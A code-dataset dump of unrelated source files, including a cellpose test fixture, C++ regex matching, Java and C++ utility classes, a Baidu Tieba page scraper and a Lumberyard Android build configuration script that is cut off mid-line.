max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
504
<filename>conftest.py import pytest import os, sys, shutil from cellpose import utils from pathlib import Path @pytest.fixture() def image_names(): image_names = ['gray_2D.png', 'rgb_2D.png', 'rgb_2D_tif.tif', 'gray_3D.tif', 'rgb_3D.tif'] return image_names @pytest.fixture() def data_dir(image_names): cp_dir = Path.home().joinpath('.cellpose') cp_dir.mkdir(exist_ok=True) data_dir = cp_dir.joinpath('data') data_dir.mkdir(exist_ok=True) data_dir_2D = data_dir.joinpath('2D') data_dir_2D.mkdir(exist_ok=True) data_dir_3D = data_dir.joinpath('3D') data_dir_3D.mkdir(exist_ok=True) for i,image_name in enumerate(image_names): url = 'http://www.cellpose.org/static/data/' + image_name if '2D' in image_name: cached_file = str(data_dir_2D.joinpath(image_name)) ext = '.png' else: cached_file = str(data_dir_3D.joinpath(image_name)) ext = '.tif' if not os.path.exists(cached_file): utils.download_url_to_file(url, cached_file) # check if mask downloaded (and clear potential previous test data) if i<2: train_dir = data_dir_2D.joinpath('train') train_dir.mkdir(exist_ok=True) shutil.copyfile(cached_file, train_dir.joinpath(image_name)) name = os.path.splitext(cached_file)[0] mask_file = name + '_cp_masks' + ext if os.path.exists(mask_file): os.remove(mask_file) cached_mask_files = [name + '_cyto_masks' + ext, name + '_nuclei_masks' + ext] for c,cached_mask_file in enumerate(cached_mask_files): url = 'http://www.cellpose.org/static/data/' + os.path.split(cached_mask_file)[-1] if not os.path.exists(cached_mask_file): print(cached_mask_file) utils.download_url_to_file(url, cached_mask_file, progress=True) if i<2 and c==0: shutil.copyfile(cached_mask_file, train_dir.joinpath(os.path.splitext(image_name)[0] + '_cyto_masks' + ext)) return data_dir
1,051
2,960
#include <bits/stdc++.h> using namespace std; class Solution { public: /* recursive version too slow thanks to substr() */ bool isMatch(string s, string p) { vector<vector<bool>> dp(s.size() + 1, vector<bool>(p.size() + 1, false)); dp[0][0] = true; for (int i = 1; i <= p.length(); i++) { dp[0][i] = p[0][i - 1] == '*' && i >= 2 && dp[0][i - 2]; } for (int i = 1; i <= s.length(); i++) { for (int j = 1; j <= p.length(); j++) { bool match; if (j >= 2 && p[j - 1] == '*') { match = (s[i - 1] == p[j - 2] || p[j - 2] == '.'); dp[i][j] = dp[i][j - 2] || (match && dp[i - 1][j]); } else { match = (s[i - 1] == p[j - 1] || p[j - 1] == '.'); dp[i][j] = match && dp[i - 1][j - 1]; } } } return dp[s.size()][p.size()]; } };
565
874
package com.jnape.palatable.lambda.monoid.builtin; import org.junit.Test; import static com.jnape.palatable.lambda.functions.builtin.fn1.Id.id; import static com.jnape.palatable.lambda.functions.builtin.fn1.Repeat.repeat; import static com.jnape.palatable.lambda.functions.builtin.fn2.Cons.cons; import static com.jnape.palatable.lambda.monoid.builtin.Or.or; import static org.junit.Assert.assertEquals; public class OrTest { @Test public void identity() { assertEquals(false, or().identity()); } @Test public void monoid() { Or or = or(); assertEquals(true, or.apply(true, true)); assertEquals(true, or.apply(true, false)); assertEquals(true, or.apply(false, true)); assertEquals(false, or.apply(false, false)); } @Test(timeout = 500) public void shortCircuiting() { Iterable<Boolean> bools = cons(true, repeat(false)); Or or = or(); assertEquals(true, or.foldLeft(false, bools)); assertEquals(true, or.foldLeft(true, bools)); assertEquals(true, or.reduceLeft(bools)); assertEquals(true, or.foldMap(id(), bools)); } }
498
1,738
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #pragma once #include <AzCore/std/smart_ptr/unique_ptr.h> #include <AzCore/Math/Aabb.h> #include <AzCore/Component/TransformBus.h> #include <AzCore/std/parallel/atomic.h> #include <AzFramework/Asset/SimpleAsset.h> #include <EMotionFX/Source/SubMesh.h> #include <IEntityRenderState.h> #include <IIndexedMesh.h> struct IStatObj; // Cry mesh wrapper. struct SSkinningData; namespace EMotionFX { namespace Integration { struct Primitive { AZStd::vector<SMeshBoneMapping_uint16> m_vertexBoneMappings; _smart_ptr<IRenderMesh> m_renderMesh; CMesh* m_mesh = nullptr; // Non-null only until asset is finalized. bool m_isDynamic = false; // Indicates if the mesh is dynamic (e.g. has morph targets) bool m_useUniqueMesh = false; EMotionFX::SubMesh* m_subMesh = nullptr; Primitive() = default; ~Primitive() { delete m_mesh; } }; /// Holds render representation for a single LOD. struct MeshLOD { AZStd::vector<Primitive> m_primitives; AZStd::atomic_bool m_isReady{ false }; bool m_hasDynamicMeshes; MeshLOD() : m_hasDynamicMeshes(false) { m_isReady.store(false); } MeshLOD(MeshLOD&& rhs) { m_primitives = AZStd::move(rhs.m_primitives); m_hasDynamicMeshes = rhs.m_hasDynamicMeshes; m_isReady.store(rhs.m_isReady.load()); } ~MeshLOD() = default; }; } // namespace Integration } // namespace EMotionFX
1,089
2,504
<filename>tutorials/tutorial_8/cpp/behaviac_generated/types/internal/behaviac_customized_types.h // --------------------------------------------------------------------- // THIS FILE IS AUTO-GENERATED BY BEHAVIAC DESIGNER, SO PLEASE DON'T MODIFY IT BY YOURSELF! // --------------------------------------------------------------------- #ifndef _BEHAVIAC_CUSTOMIZED_TYPES_H_ #define _BEHAVIAC_CUSTOMIZED_TYPES_H_ #include "behaviac/agent/agent.h" // ------------------- // Customized structs // ------------------- BEHAVIAC_EXTEND_EXISTING_TYPE_EX(FirstStruct, false); BEHAVIAC_DECLARE_TYPE_VECTOR_HANDLER(FirstStruct); template< typename SWAPPER > inline void SwapByteImplement(FirstStruct& v) { SwapByteImplement< SWAPPER >(v.s1); SwapByteImplement< SWAPPER >(v.s2); } namespace behaviac { namespace PrivateDetails { template<> inline bool Equal(const FirstStruct& lhs, const FirstStruct& rhs) { return Equal(lhs.s1, rhs.s1) && Equal(lhs.s2, rhs.s2); } } } #endif // _BEHAVIAC_CUSTOMIZED_TYPES_H_
383
9,402
<gh_stars>1000+ // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. #include "xplatform.h" #include <new> struct Vector2 { float x; float y; }; struct Vector3 { float x; float y; float z; }; struct Vector4 { float x; float y; float z; float w; }; namespace { BOOL operator==(Vector2 lhs, Vector2 rhs) { return lhs.x == rhs.x && lhs.y == rhs.y ? TRUE : FALSE; } BOOL operator==(Vector3 lhs, Vector3 rhs) { return lhs.x == rhs.x && lhs.y == rhs.y && lhs.z == rhs.z ? TRUE : FALSE; } BOOL operator==(Vector4 lhs, Vector4 rhs) { return lhs.x == rhs.x && lhs.y == rhs.y && lhs.z == rhs.z && lhs.w == rhs.w ? TRUE : FALSE; } } extern "C" DLL_EXPORT Vector4 STDMETHODCALLTYPE CreateVector4FromFloats(float x, float y, float z, float w) { Vector4 result; result.x = x; result.y = y; result.z = z; result.w = w; return result; } extern "C" DLL_EXPORT Vector3 STDMETHODCALLTYPE CreateVector3FromFloats(float x, float y, float z) { Vector3 result; result.x = x; result.y = y; result.z = z; return result; } extern "C" DLL_EXPORT Vector2 STDMETHODCALLTYPE CreateVector2FromFloats(float x, float y) { Vector2 result; result.x = x; result.y = y; return result; } extern "C" DLL_EXPORT BOOL STDMETHODCALLTYPE Vector4EqualToFloats(Vector4 vec, float x, float y, float z, float w) { Vector4 vecFromFloats; vecFromFloats.x = x; vecFromFloats.y = y; vecFromFloats.z = z; vecFromFloats.w = w; return vec == vecFromFloats; } extern "C" DLL_EXPORT BOOL STDMETHODCALLTYPE Vector3EqualToFloats(Vector3 vec, float x, float y, float z) { Vector3 vecFromFloats; vecFromFloats.x = x; vecFromFloats.y = y; vecFromFloats.z = z; return vec == vecFromFloats; } extern "C" DLL_EXPORT BOOL STDMETHODCALLTYPE Vector2EqualToFloats(Vector2 vec, float x, float y) { Vector2 vecFromFloats; vecFromFloats.x = x; vecFromFloats.y = y; return vec == vecFromFloats; } extern "C" DLL_EXPORT BOOL STDMETHODCALLTYPE ValidateAndChangeVector4(Vector4* vec, float expectedX, float expectedY, float expectedZ, float expectedW, float newX, float newY, float newZ, float newW) { Vector4 vecExpected; vecExpected.x = expectedX; vecExpected.y = expectedY; vecExpected.z = expectedZ; vecExpected.w = expectedW; BOOL result = *vec == vecExpected; vec->x = newX; vec->y = newY; vec->z = newZ; vec->w = newW; return result; } extern "C" DLL_EXPORT BOOL STDMETHODCALLTYPE ValidateAndChangeVector3(Vector3* vec, float expectedX, float expectedY, float expectedZ, float newX, float newY, float newZ) { Vector3 vecExpected; vecExpected.x = expectedX; vecExpected.y = expectedY; vecExpected.z = expectedZ; BOOL result = *vec == vecExpected; vec->x = newX; vec->y = newY; vec->z = newZ; return result; } extern "C" DLL_EXPORT BOOL STDMETHODCALLTYPE ValidateAndChangeVector2(Vector2* vec, float expectedX, float expectedY, float newX, float newY) { Vector2 vecExpected; vecExpected.x = expectedX; vecExpected.y = expectedY; BOOL result = *vec == vecExpected; vec->x = newX; vec->y = newY; return result; } extern "C" DLL_EXPORT void STDMETHODCALLTYPE GetVector4ForFloats(float x, float y, float z, float w, Vector4* vec) { vec->x = x; vec->y = y; vec->z = z; vec->w = w; } extern "C" DLL_EXPORT void STDMETHODCALLTYPE GetVector3ForFloats(float x, float y, float z, Vector3* vec) { vec->x = x; vec->y = y; vec->z = z; } extern "C" DLL_EXPORT void STDMETHODCALLTYPE GetVector2ForFloats(float x, float y, Vector2* vec) { vec->x = x; vec->y = y; } using Vector4Callback = Vector4(STDMETHODCALLTYPE*)(Vector4); extern "C" DLL_EXPORT Vector4 STDMETHODCALLTYPE PassThroughVector4ToCallback(Vector4 vec, Vector4Callback cb) { return cb(vec); } using Vector3Callback = Vector3(STDMETHODCALLTYPE*)(Vector3); extern "C" DLL_EXPORT Vector3 STDMETHODCALLTYPE PassThroughVector3ToCallback(Vector3 vec, Vector3Callback cb) { return cb(vec); } using Vector2Callback = Vector2(STDMETHODCALLTYPE*)(Vector2); extern "C" DLL_EXPORT Vector2 STDMETHODCALLTYPE PassThroughVector2ToCallback(Vector2 vec, Vector2Callback cb) { return cb(vec); }
1,874
817
"""Models for timeseries data.""" from sdv.timeseries.deepecho import PAR __all__ = ( 'PAR', )
41
558
/* * @file BubbleSort.h * @author (original JAVA) <NAME>, <EMAIL> * (conversion to C++) <NAME>, <EMAIL> * @date 13 July 2020 * @version 0.1 * @brief Bubble sort implementation. */ #ifndef D_BUBBLESORT_H #define D_BUBBLESORT_H #include <vector> #include <deque> #include <list> #include <set> // set and multiset #include <map> // map and multimap #include <unordered_set> // unordered set/multiset #include <unordered_map> // unordered map/multimap #include <iterator> #include <algorithm> #include <numeric> // some numeric algorithm #include <functional> #include <stack> #include <sstream> #include <memory> #include <iostream> namespace dsa { class BubbleSort { public: static void sort(std::vector<int>& values) { bubbleSort(values); } // Sort the array using bubble sort. The idea behind // bubble sort is to look for adjacent indexes which // are out of place and interchange their elements // until the entire array is sorted. private: static void bubbleSort(std::vector<int>& ar) { if (ar.size() == 0) { return; } bool sorted; do { sorted = true; for (unsigned i = 1; i < ar.size(); i++) { if (ar[i] < ar[i - 1]) { swap(ar, i - 1, i); sorted = false; } } } while (!sorted); } static void swap(std::vector<int>& ar, int i, int j) { int tmp = ar[i]; ar[i] = ar[j]; ar[j] = tmp; } }; // Example usage of Bubble Sort int BubbleSort_test() { std::vector<int> array{10, 4, 6, 8, 13, 2, 3}; BubbleSort::sort(array); // Prints: // [2, 3, 4, 6, 8, 10, 13] std::cout << "["; for (auto a : array) std::cout << a << ","; std::cout << "]" << std::endl; return 0; } } // namespace dsa #endif /* D_BUBBLESORT_H */
729
317
<reponame>akosma/nib2objc // // UISwitchProcessor.h // nib2objc // // Created by Adrian on 3/14/09. // <NAME> 2009 // #import "UIControlProcessor.h" @interface UISwitchProcessor : UIControlProcessor @end
92
335
<reponame>Safal08/Hacktoberfest-1 { "word": "Windows", "definitions": [ "Microsoft Windows is a group of several graphical operating system families, all of which are developed, marketed, and sold by Microsoft." ], "parts-of-speech": "Noun" }
94
755
/** * @project: Overload * @author: <NAME>. * @licence: MIT */ #pragma once namespace OvWindowing::Inputs { /** * Defines some states that can be applied to keyboard keys */ enum class EKeyState { KEY_UP = 0, KEY_DOWN = 1 }; }
99
5,857
#!/usr/bin/python3 # -*- coding: utf-8 -*- """ info: author:CriseLYJ github:https://github.com/CriseLYJ/ update_time:2019-3-6 """ """ 请求URL分析 https://tieba.baidu.com/f?kw=魔兽世界&ie=utf-8&pn=50 请求方式分析 GET 请求参数分析 pn每页50发生变化,其他参数固定不变 请求头分析 只需要添加User-Agent """ # 代码实现流程 # 1. 实现面向对象构建爬虫对象 # 2. 爬虫流程四步骤 # 2.1 获取url列表 # 2.2 发送请求获取响应 # 2.3 从响应中提取数据 # 2.4 保存数据 import requests class TieBa_Spier(): def __init__(self, max_pn, kw): # 初始化 self.max_pn = max_pn self.kw = kw self.base_url = "https://tieba.baidu.com/f?kw={}&ie=utf-8&pn={}" self.headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" } def get_url_list(self): """获取url列表""" return [self.base_url.format(self.kw, pn) for pn in range(0, self.max_pn, 50)] def get_content(self, url): """发送请求获取响应内容""" response = requests.get( url=url, headers=self.headers ) # print(response.text) return response.content def save_items(self, content, idx): """从响应内容中提取数据""" with open('{}.html'.format(idx), 'wb') as f: f.write(content) return None def run(self): """运行程序""" # 获取url_list url_list = self.get_url_list() for url in url_list: # 发送请求获取响应 content = self.get_content(url) # 保存数据 items = self.save_items(content, url_list.index(url) + 1) # 测试 # print(items) if __name__ == '__main__': spider = TieBa_Spier(200, "英雄联盟") spider.run()
1,150
651
<filename>build-monitor-acceptance/build-monitor-acceptance-base/src/main/java/net/serenitybdd/screenplay/jenkins/tasks/configuration/build_steps/GroovyScript.java package net.serenitybdd.screenplay.jenkins.tasks.configuration.build_steps; import com.google.common.base.Function; import com.google.common.base.Joiner; import javax.annotation.Nullable; import java.util.List; import static com.google.common.collect.Lists.transform; import static java.util.Arrays.asList; public class GroovyScript { public static GroovyScript that(String descriptionOfScriptsBehaviour) { return new GroovyScript(descriptionOfScriptsBehaviour); } public GroovyScript definedAs(String... lines) { return this.definedAs(asList(lines)); } public GroovyScript definedAs(List<String> lines) { this.code = Joiner.on('\n').join(lines); return this; } public GroovyScript andOutputs(String... lines) { return definedAs(transform(asList(lines), mapEachLineTo("echo \"%s\";"))); } public String code() { return code; } @Override public String toString() { return description; } private GroovyScript(String descriptionOfScriptsBehaviour) { this.description = descriptionOfScriptsBehaviour; } private Function<String, String> mapEachLineTo(final String template) { return new Function<String, String>() { @Nullable @Override public String apply(@Nullable String line) { return String.format(template, line); } }; } private final String description; private String code = ""; }
627
995
// // Copyright 2010 <NAME> // // Distributed under the Boost Software License, Version 1.0 // See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt // #ifndef BOOST_GIL_EXTENSION_IO_TARGA_HPP #define BOOST_GIL_EXTENSION_IO_TARGA_HPP #include <boost/gil/extension/io/targa/read.hpp> #include <boost/gil/extension/io/targa/write.hpp> #endif
171
3,139
<filename>jme3-terrain/src/main/java/com/jme3/terrain/noise/Color.java /** * Copyright (c) 2011, Novyon Events * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * @author Anthyon */ package com.jme3.terrain.noise; /** * Helper class for working with colors and gradients * * @author Anthyon * */ public class Color { private final float[] rgba = new float[4]; public Color() {} public Color(final int r, final int g, final int b) { this(r, g, b, 255); } public Color(final int r, final int g, final int b, final int a) { this.rgba[0] = (r & 255) / 256f; this.rgba[1] = (g & 255) / 256f; this.rgba[2] = (b & 255) / 256f; this.rgba[3] = (a & 255) / 256f; } public Color(final float r, final float g, final float b) { this(r, g, b, 1); } public Color(final float r, final float g, final float b, final float a) { this.rgba[0] = ShaderUtils.clamp(r, 0, 1); this.rgba[1] = ShaderUtils.clamp(g, 0, 1); this.rgba[2] = ShaderUtils.clamp(b, 0, 1); this.rgba[3] = ShaderUtils.clamp(a, 0, 1); } public Color(final int h, final float s, final float b) { this(h, s, b, 1); } public Color(final int h, final float s, final float b, final float a) { this.rgba[3] = a; if (s == 0) { // achromatic ( grey ) this.rgba[0] = b; this.rgba[1] = b; this.rgba[2] = b; return; } float hh = h / 60.0f; int i = ShaderUtils.floor(hh); float f = hh - i; float p = b * (1 - s); float q = b * (1 - s * f); float t = b * (1 - s * (1 - f)); if (i == 0) { this.rgba[0] = b; this.rgba[1] = t; this.rgba[2] = p; } else if (i == 1) { this.rgba[0] = q; this.rgba[1] = b; this.rgba[2] = p; } else if (i == 2) { this.rgba[0] = p; this.rgba[1] = b; this.rgba[2] = t; } else if (i == 3) { this.rgba[0] = p; this.rgba[1] = q; this.rgba[2] = b; } else if (i == 4) { this.rgba[0] = t; this.rgba[1] = p; this.rgba[2] = b; } else { this.rgba[0] = b; this.rgba[1] = p; this.rgba[2] = q; } } public int toInteger() { return 0x00000000 | (int) (this.rgba[3] * 256) << 24 | (int) (this.rgba[0] * 256) << 16 | (int) (this.rgba[1] * 256) << 8 | (int) (this.rgba[2] * 256); } public String toWeb() { return Integer.toHexString(this.toInteger()); } public Color toGrayscale() { float v = (this.rgba[0] + this.rgba[1] + this.rgba[2]) / 3f; return new Color(v, v, v, this.rgba[3]); } public Color toSepia() { float r = ShaderUtils.clamp(this.rgba[0] * 0.393f + this.rgba[1] * 0.769f + this.rgba[2] * 0.189f, 0, 1); float g = ShaderUtils.clamp(this.rgba[0] * 0.349f + this.rgba[1] * 0.686f + this.rgba[2] * 0.168f, 0, 1); float b = ShaderUtils.clamp(this.rgba[0] * 0.272f + this.rgba[1] * 0.534f + this.rgba[2] * 0.131f, 0, 1); return new Color(r, g, b, this.rgba[3]); } }
1,883
3,246
package org.datatransferproject.types.common.models.mail; import com.fasterxml.jackson.databind.ObjectMapper; import com.google.common.collect.ImmutableList; import com.google.common.truth.Truth; import java.util.List; import org.datatransferproject.types.common.models.ContainerResource; import org.datatransferproject.types.common.models.mail.MailContainerModel; import org.datatransferproject.types.common.models.mail.MailContainerResource; import org.datatransferproject.types.common.models.mail.MailMessageModel; import org.junit.Test; public class MailContainerResourceTest { @Test public void verifySerializeDeserialize() throws Exception { ObjectMapper objectMapper = new ObjectMapper(); objectMapper.registerSubtypes(MailContainerResource.class); List<MailContainerModel> containers = ImmutableList.of( new MailContainerModel("id1", "container1"), new MailContainerModel("id2", "container2")); List<MailMessageModel> messages = ImmutableList.of( new MailMessageModel("foo", ImmutableList.of("1")), new MailMessageModel("bar", ImmutableList.of("1", "2'"))); ContainerResource data = new MailContainerResource(containers, messages); String serialized = objectMapper.writeValueAsString(data); ContainerResource deserializedModel = objectMapper.readValue(serialized, ContainerResource.class); Truth.assertThat(deserializedModel).isNotNull(); Truth.assertThat(deserializedModel).isInstanceOf(MailContainerResource.class); MailContainerResource deserialized = (MailContainerResource) deserializedModel; Truth.assertThat(deserialized.getMessages()).hasSize(2); Truth.assertThat(deserialized.getFolders()).hasSize(2); Truth.assertThat(deserialized).isEqualTo(data); } }
594
1,738
<gh_stars>1000+ # # All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or # its licensors. # # For complete copyright and license terms please see the LICENSE at the root of this # distribution (the "License"). All use of this software is governed by the License, # or, if provided, by the license below or the license accompanying this file. Do not # remove or modify any license notices. This file is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # System Imports import os # waflib imports from waflib import Logs from waflib.Configure import conf # lmbrwaflib imports from lmbrwaflib import lumberyard from lmbrwaflib.cry_utils import append_to_unique_list @conf def load_android_toolchains(ctx, search_paths, CC, CXX, AR, STRIP, **addition_toolchains): """ Loads the native toolchains from the Android NDK """ try: ctx.find_program(CC, var = 'CC', path_list = search_paths, silent_output = True) ctx.find_program(CXX, var = 'CXX', path_list = search_paths, silent_output = True) ctx.find_program(AR, var = 'AR', path_list = search_paths, silent_output = True) # for debug symbol stripping ctx.find_program(STRIP, var = 'STRIP', path_list = search_paths, silent_output = True) # optional linker override if 'LINK_CC' in addition_toolchains and 'LINK_CXX' in addition_toolchains: ctx.find_program(addition_toolchains['LINK_CC'], var = 'LINK_CC', path_list = search_paths, silent_output = True) ctx.find_program(addition_toolchains['LINK_CXX'], var = 'LINK_CXX', path_list = search_paths, silent_output = True) else: ctx.env['LINK_CC'] = ctx.env['CC'] ctx.env['LINK_CXX'] = ctx.env['CXX'] ctx.env['LINK'] = ctx.env['LINK_CC'] # common cc settings ctx.cc_load_tools() ctx.cc_add_flags() # common cxx settings ctx.cxx_load_tools() ctx.cxx_add_flags() # common link settings ctx.link_add_flags() except: Logs.error('[ERROR] Failed to find the Android NDK standalone toolchain(s) in search path %s' % search_paths) return False return True @conf def load_android_tools(ctx): """ Loads the necessary build tools from the Android SDK """ android_sdk_home = ctx.env['ANDROID_SDK_HOME'] build_tools_version = ctx.get_android_build_tools_version() build_tools_dir = os.path.join(android_sdk_home, 'build-tools', build_tools_version) try: ctx.find_program('aapt', var = 'AAPT', path_list = [ build_tools_dir ], silent_output = True) ctx.find_program('aidl', var = 'AIDL', path_list = [ build_tools_dir ], silent_output = True) ctx.find_program('dx', var = 'DX', path_list = [ build_tools_dir ], silent_output = True) ctx.find_program('zipalign', var = 'ZIPALIGN', path_list = [ build_tools_dir ], silent_output = True) except: Logs.error('[ERROR] The desired Android SDK build-tools version - {} - appears to be incomplete. Please use Android SDK Manager to validate the build-tools version installation ' 'or change BUILD_TOOLS_VER in _WAF_/android/android_settings.json to either a version installed or "latest" and run the configure command again.'.format(build_tools_version)) return False return True @conf def load_android_common_settings(conf): """ Setup all compiler and linker settings shared over all android configurations """ env = conf.env ndk_root = env['ANDROID_NDK_HOME'] defines = [] if env['ANDROID_NDK_REV_MAJOR'] < 19: defines += [ '__ANDROID_API__={}'.format(env['ANDROID_NDK_PLATFORM_NUMBER']), ] append_to_unique_list(env['DEFINES'], defines) # Pattern to transform outputs env['cprogram_PATTERN'] = env['cxxprogram_PATTERN'] = '%s' env['cshlib_PATTERN'] = env['cxxshlib_PATTERN'] = 'lib%s.so' env['cstlib_PATTERN'] = env['cxxstlib_PATTERN'] = 'lib%s.a' env['RPATH_ST'] = '-Wl,-rpath,%s' env['SONAME_ST'] = '-Wl,-soname,%s' # sets the DT_SONAME field in the shared object, used for ELF object loading # frameworks aren't supported on Android, disable it env['FRAMEWORK'] = [] env['FRAMEWORK_ST'] = '' env['FRAMEWORKPATH'] = [] env['FRAMEWORKPATH_ST'] = '' # java settings env['JAVA_VERSION'] = '1.7' env['CLASSPATH'] = [] platform = os.path.join(env['ANDROID_SDK_HOME'], 'platforms', env['ANDROID_SDK_VERSION']) android_jar = os.path.join(platform, 'android.jar') env['JAVACFLAGS'] = [ '-encoding', 'UTF-8', '-bootclasspath', android_jar, '-target', env['JAVA_VERSION'], ] # android interface processing env['AIDL_PREPROC_ST'] = '-p%s' env['AIDL_PREPROCESSES'] = [ os.path.join(platform, 'framework.aidl') ] # aapt settings env['AAPT_ASSETS_ST'] = [ '-A' ] env['AAPT_ASSETS'] = [] env['AAPT_RESOURCE_ST'] = [ '-S' ] env['AAPT_RESOURCES'] = [] env['AAPT_INLC_ST'] = [ '-I' ] env['AAPT_INCLUDES'] = [ android_jar ] env['AAPT_PACKAGE_FLAGS'] = [ '--auto-add-overlay' ] # apk packaging settings env['ANDROID_MANIFEST'] = '' env['ANDROID_DEBUG_MODE'] = '' # manifest merger settings tools_path = os.path.join(env['ANDROID_SDK_HOME'], 'tools', 'lib') tools_contents = os.listdir(tools_path) tools_jars = [ entry for entry in tools_contents if entry.lower().endswith('.jar') ] manifest_merger_lib_names = [ # entry point for the merger 'manifest-merger', # dependent libs 'sdk-common', 'common' ] manifest_merger_libs = [] for jar in tools_jars: if any(lib_name for lib_name in manifest_merger_lib_names if jar.lower().startswith(lib_name)): manifest_merger_libs.append(jar) if len(manifest_merger_libs) < len(manifest_merger_lib_names): conf.fatal('[ERROR] Failed to find the required file(s) for the Manifest Merger. Please use the Android SDK Manager to update to the latest SDK Tools version and run the configure command again.') env['MANIFEST_MERGER_CLASSPATH'] = os.pathsep.join([ os.path.join(tools_path, jar_file) for jar_file in manifest_merger_libs ]) # zipalign settings env['ZIPALIGN_SIZE'] = '4' # alignment in bytes, e.g. '4' provides 32-bit alignment (has to be a string) # jarsigner settings env['KEYSTORE_ALIAS'] = conf.get_android_env_keystore_alias() env['KEYSTORE'] = conf.get_android_env_keystore_path() @lumberyard.multi_conf def generate_ib_profile_tool_elements(ctx): android_tool_elements = [ '<Tool Filename="arm-linux-androideabi-gcc" AllowRemoteIf="-c" AllowIntercept="false" DeriveCaptionFrom="lastparam" AllowRestartOnLocal="false"/>', '<Tool Filename="arm-linux-androideabi-g++" AllowRemoteIf="-c" AllowIntercept="false" DeriveCaptionFrom="lastparam" AllowRestartOnLocal="false"/>', # The Android deploy command uses 'adb shell' to check files on the device and will return non 0 exit codes if the files don't exit. XGConsole will flag those processes as # failures and since we are gracefully handing those cases, WAF will continue to execute till it exits naturally (we don't use /stoponerror). In most cases, this is causing # false build failures even though the deploy command completes sucessfully. Whitelist the known return codes we handle internally. # '<Tool Filename="adb" AllowRemote="false" AllowIntercept="false" SuccessExitCodes="-1,0,1"/>' ] return android_tool_elements def _load_android_settings(ctx): """ Helper function for loading the global android settings """ if hasattr(ctx, 'android_settings'): return settings_files = list() for root_node in ctx._get_settings_search_roots(): settings_node = root_node.make_node(['_WAF_', 'android', 'android_settings.json']) if os.path.exists(settings_node.abspath()): settings_files.append(settings_node) ctx.android_settings = dict() for settings_file in settings_files: try: ctx.android_settings.update(ctx.parse_json_file(settings_file)) except Exception as e: ctx.cry_file_error(str(e), settings_file.abspath()) def _get_android_setting(ctx, setting, default_value = None): """" Helper function for getting android settings """ _load_android_settings(ctx) return ctx.android_settings.get(setting, default_value) @conf def get_android_dev_keystore_alias(conf): return _get_android_setting(conf, 'DEV_KEYSTORE_ALIAS') @conf def get_android_dev_keystore_path(conf): local_path = _get_android_setting(conf, 'DEV_KEYSTORE') debug_ks_node = conf.engine_node.make_node(local_path) return debug_ks_node.abspath() @conf def get_android_distro_keystore_alias(conf): return _get_android_setting(conf, 'DISTRO_KEYSTORE_ALIAS') @conf def get_android_distro_keystore_path(conf): local_path = _get_android_setting(conf, 'DISTRO_KEYSTORE') release_ks_node = conf.engine_node.make_node(local_path) return release_ks_node.abspath() @conf def get_android_build_environment(conf): env = _get_android_setting(conf, 'BUILD_ENVIRONMENT') if env == 'Development' or env == 'Distribution': return env else: Logs.fatal('[ERROR] Invalid android build environment, valid environments are: Development and Distribution') @conf def get_android_env_keystore_alias(conf): env = conf.get_android_build_environment() if env == 'Development': return conf.get_android_dev_keystore_alias() elif env == 'Distribution': return conf.get_android_distro_keystore_alias() @conf def get_android_env_keystore_path(conf): env = conf.get_android_build_environment() if env == 'Development': return conf.get_android_dev_keystore_path() elif env == 'Distribution': return conf.get_android_distro_keystore_path() @conf def get_android_build_tools_version(conf): """ Get the version of build-tools to use for Android APK packaging process. Also sets the 'buildToolsVersion' when generating the Android Studio gradle project. The following is require in order for validation and use of "latest" value. def configure(conf): conf.load('android') """ build_tools_version = conf.env['ANDROID_BUILD_TOOLS_VER'] if not build_tools_version: build_tools_version = _get_android_setting(conf, 'BUILD_TOOLS_VER') return build_tools_version @conf def get_android_sdk_version(conf): """ Gets the desired Android API version used when building the Java code, must be equal to or greater than the ndk_platform. The following is required for the validation to work and use of "latest" value. def configure(conf): conf.load('android') """ sdk_version = conf.env['ANDROID_SDK_VERSION'] if not sdk_version: sdk_version = _get_android_setting(conf, 'SDK_VERSION') return sdk_version @conf def get_android_ndk_platform(conf): """ Gets the desired Android API version used when building the native code, must be equal to or less than the sdk_version. If not specified, the specified sdk version, or closest match, will be used. The following is required for the auto-detection and validation to work. def configure(conf): conf.load('android') """ ndk_platform = conf.env['ANDROID_NDK_PLATFORM'] if not ndk_platform: ndk_platform = _get_android_setting(conf, 'NDK_PLATFORM') return ndk_platform @conf def get_android_project_relative_path(self): return '{}/{}'.format(self.options.android_studio_project_folder, self.options.android_studio_project_name) @conf def get_android_project_absolute_path(self): return self.path.make_node([ 